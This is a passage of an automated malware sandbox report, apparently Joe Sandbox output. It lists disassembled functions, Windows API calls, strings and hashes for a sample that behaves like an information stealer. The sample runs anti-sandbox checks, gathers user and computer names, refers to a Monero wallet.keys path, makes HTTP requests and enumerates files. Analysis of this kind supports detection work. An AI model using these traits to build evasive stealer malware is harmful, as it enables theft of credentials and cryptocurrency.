Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$
API String ID: 1544550907-3109660283
Opcode ID: 4664824caa19dc6db42c1dc6ada0eb3c072c2523f2d84a46a6876055fb27ed8b
Instruction ID: dd973ed38a338ca556c118bfe1e6ebbda0a89faa76d79725022c1bfde2de4448
Opcode Fuzzy Hash: 4664824caa19dc6db42c1dc6ada0eb3c072c2523f2d84a46a6876055fb27ed8b
Instruction Fuzzy Hash: AC4182B1E04248EBDB10DF94DC45BEEBBB8AF4D704F100199F54A7B280DB796A44CBA5

Function 00EA69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BB1518), ref: 00EA98A1
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BB1770), ref: 00EA98BA
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BB1530), ref: 00EA98D2
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BB1548), ref: 00EA98EA
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BB1560), ref: 00EA9903
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BB8BA8), ref: 00EA991B
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BA5208), ref: 00EA9933
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BA4FE8), ref: 00EA994C
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BB1698), ref: 00EA9964
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BB16E0), ref: 00EA997C
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BB16B0), ref: 00EA9995
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BB16C8), ref: 00EA99AD
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BA5088), ref: 00EA99C5
Part of subcall function 00EA9860: GetProcAddress.KERNEL32(76210000,00BB16F8), ref: 00EA99DE

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00E911D0: ExitProcess.KERNEL32 ref: 00E91211

Part of subcall function 00E91160: GetSystemInfo.KERNEL32(?), ref: 00E9116A
Part of subcall function 00E91160: ExitProcess.KERNEL32 ref: 00E9117E

Part of subcall function 00E91110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00E9112B
Part of subcall function 00E91110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00E91132
Part of subcall function 00E91110: ExitProcess.KERNEL32 ref: 00E91143

Part of subcall function 00E91220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00E9123E
Part of subcall function 00E91220: ExitProcess.KERNEL32 ref: 00E91294

Part of subcall function 00EA6770: GetUserDefaultLangID.KERNEL32 ref: 00EA6774

Part of subcall function 00E91190: ExitProcess.KERNEL32 ref: 00E911C6

Part of subcall function 00EA7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E911B7), ref: 00EA7880
Part of subcall function 00EA7850: RtlAllocateHeap.NTDLL(00000000), ref: 00EA7887
Part of subcall function 00EA7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00EA789F

Part of subcall function 00EA78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EA7910
Part of subcall function 00EA78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00EA7917
Part of subcall function 00EA78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00EA792F

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00BB8BC8,?,00EB110C,?,00000000,?,00EB1110,?,00000000,00EB0AEF), ref: 00EA6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00EA6AE8
CloseHandle.KERNEL32(00000000), ref: 00EA6AF9
Sleep.KERNEL32(00001770), ref: 00EA6B04
CloseHandle.KERNEL32(?,00000000,?,00BB8BC8,?,00EB110C,?,00000000,?,00EB1110,?,00000000,00EB0AEF), ref: 00EA6B1A
ExitProcess.KERNEL32 ref: 00EA6B22

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: e38ced180883412f4f6acc2f53be28ff156329c283335bb013a857bb54cf1f82
Instruction ID: c6142d548cb9ac4842189c87c3c56b0a252b70bac7832ad1634f8089e2f83190
Opcode Fuzzy Hash: e38ced180883412f4f6acc2f53be28ff156329c283335bb013a857bb54cf1f82
Instruction Fuzzy Hash: 24315031A00308AADB08F7F0DC56BEE77B8AF4A340F056528F642BA181DF747901C7A2

Function 00EA6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00BB8BC8,?,00EB110C,?,00000000,?,00EB1110,?,00000000,00EB0AEF), ref: 00EA6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00EA6AE8
CloseHandle.KERNEL32(00000000), ref: 00EA6AF9
Sleep.KERNEL32(00001770), ref: 00EA6B04
CloseHandle.KERNEL32(?,00000000,?,00BB8BC8,?,00EB110C,?,00000000,?,00EB1110,?,00000000,00EB0AEF), ref: 00EA6B1A
ExitProcess.KERNEL32 ref: 00EA6B22

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 50d4fd8ea95c8c9c185e0d5f14048a6cdfd36454b07e1ffeab89234d16d95c23
Instruction ID: 91207f42df7b97b76a915254b18064a6bfc5777dfac2d9a35d06a67ee543977f
Opcode Fuzzy Hash: 50d4fd8ea95c8c9c185e0d5f14048a6cdfd36454b07e1ffeab89234d16d95c23
Instruction Fuzzy Hash: 6CF03A30A40209EEEB20ABA09C06BBE7BB4FF0E701F196514B913BA181DBB56540D665

Function 00E947B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E94839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00E94849

Strings

<, xrefs: 00E947C9

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: dfe07d02ae855274e975856867e7ba4baa21b620ecd0b84a06b608c23d389119
Instruction ID: 81497605be7216af69ef292eac075d2af5c5227597289e77910ac13797eae300
Opcode Fuzzy Hash: dfe07d02ae855274e975856867e7ba4baa21b620ecd0b84a06b608c23d389119
Instruction Fuzzy Hash: 14212CB1D01209ABDF14DFA4E849ADE7BB5FB45320F108625E955AB2C0EB746A09CB81

Function 00EA51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Part of subcall function 00E96280: InternetOpenA.WININET(00EB0DFE,00000001,00000000,00000000,00000000), ref: 00E962E1
Part of subcall function 00E96280: StrCmpCA.SHLWAPI(?,00BBFCF0), ref: 00E96303
Part of subcall function 00E96280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E96335
Part of subcall function 00E96280: HttpOpenRequestA.WININET(00000000,GET,?,00BBF278,00000000,00000000,00400100,00000000), ref: 00E96385
Part of subcall function 00E96280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E963BF
Part of subcall function 00E96280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E963D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00EA5228

Strings

ERROR, xrefs: 00EA5273
ERROR, xrefs: 00EA521A

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 45ae09c57e8a6db1d92acde36c0e97ca54017086e273b9a5ce986c7cb5b8c8be
Instruction ID: 4ee3c4a7a0ec4bf53ad19519b673e027cca24d47fed65ea9ae2e45d07b826242
Opcode Fuzzy Hash: 45ae09c57e8a6db1d92acde36c0e97ca54017086e273b9a5ce986c7cb5b8c8be
Instruction Fuzzy Hash: F3113031900208ABCB58FF64DD56AED73B8AF59340F855168F80B6F592EF34BB05CA91

Function 00E91220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00E9123E
ExitProcess.KERNEL32 ref: 00E91294

Strings

@, xrefs: 00E91233

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: fb65ae3faf6d9938da0049b4d0736efa91e926167600f5d460a9ba8ff53cf616
Instruction ID: 96727bf4d7128f70a7b40c134a7f134e02397a66745f6caf702f35e85ba04de9
Opcode Fuzzy Hash: fb65ae3faf6d9938da0049b4d0736efa91e926167600f5d460a9ba8ff53cf616
Instruction Fuzzy Hash: 090162B0E44308FADF10EBD0CD49B9EB7B8EB04705F209484E706BA1C0D77465419759

Function 00E91110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00E9112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00E91132
ExitProcess.KERNEL32 ref: 00E91143

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 17a2cef60fd5a1fc0ed53ddb1a6334007bbec757022db4b93cb631e6860c614c
Instruction ID: 623b5c102687a4ea07d4a4a9a9696e89fb8c64ac5c06a895e8a6e3b5b714f037
Opcode Fuzzy Hash: 17a2cef60fd5a1fc0ed53ddb1a6334007bbec757022db4b93cb631e6860c614c
Instruction Fuzzy Hash: 89E0E670A46348FFEB206BA19C0FB0976B8AB04B05F105095FB09771C4D6BA26409799

Function 00E910A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00E910B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00E910F7

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e9c0ccd840ecf18bd96aea16af45c97322eacb679d50bc20c128e13cafa8991b
Instruction ID: 532d0b9c1008aaf1fa88c96fcf72548273b24eb3874cceb823d223aaec942041
Opcode Fuzzy Hash: e9c0ccd840ecf18bd96aea16af45c97322eacb679d50bc20c128e13cafa8991b
Instruction Fuzzy Hash: 49F0E271641208BBEB149AA4AC4AFAFB7E8E709B15F301448F944E7280D572AE40CBA4

Function 00E91190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00EA78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EA7910
Part of subcall function 00EA78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00EA7917
Part of subcall function 00EA78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00EA792F

Part of subcall function 00EA7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E911B7), ref: 00EA7880
Part of subcall function 00EA7850: RtlAllocateHeap.NTDLL(00000000), ref: 00EA7887
Part of subcall function 00EA7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00EA789F

ExitProcess.KERNEL32 ref: 00E911C6

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: f0fbea52c114bec67b5a96e37e29fea3fb5af8c0100f71a0a1f5626e64e99a55
Instruction ID: 052b820198f520e34a289f9b64f68918f0ce4555714836b5950258ce6cf36c27
Opcode Fuzzy Hash: f0fbea52c114bec67b5a96e37e29fea3fb5af8c0100f71a0a1f5626e64e99a55
Instruction Fuzzy Hash: 65E012B5F15312A7CE1473B1AD0AB2A32DC9B1D349F042424FE45F7106FA2EF8008665

Non-executed Functions

Function 00EA38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00EA38CC
FindFirstFileA.KERNEL32(?,?), ref: 00EA38E3
lstrcat.KERNEL32(?,?), ref: 00EA3935
StrCmpCA.SHLWAPI(?,00EB0F70), ref: 00EA3947
StrCmpCA.SHLWAPI(?,00EB0F74), ref: 00EA395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00EA3C67
FindClose.KERNEL32(000000FF), ref: 00EA3C7C

Strings

%s\%s\%s, xrefs: 00EA3A4A
%s\%s, xrefs: 00EA397A
%s\%s, xrefs: 00EA3A6F
%s\*, xrefs: 00EA38C0
%s%s, xrefs: 00EA3AAD

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 302f01fea8ad5f19588333a890493f915e2ff18a4e4ba6830a9674f2f29c4c72
Instruction ID: 1114c198d08628d483d5e35ab9f4bb06f251991f7badc83f97139f25804ce5fa
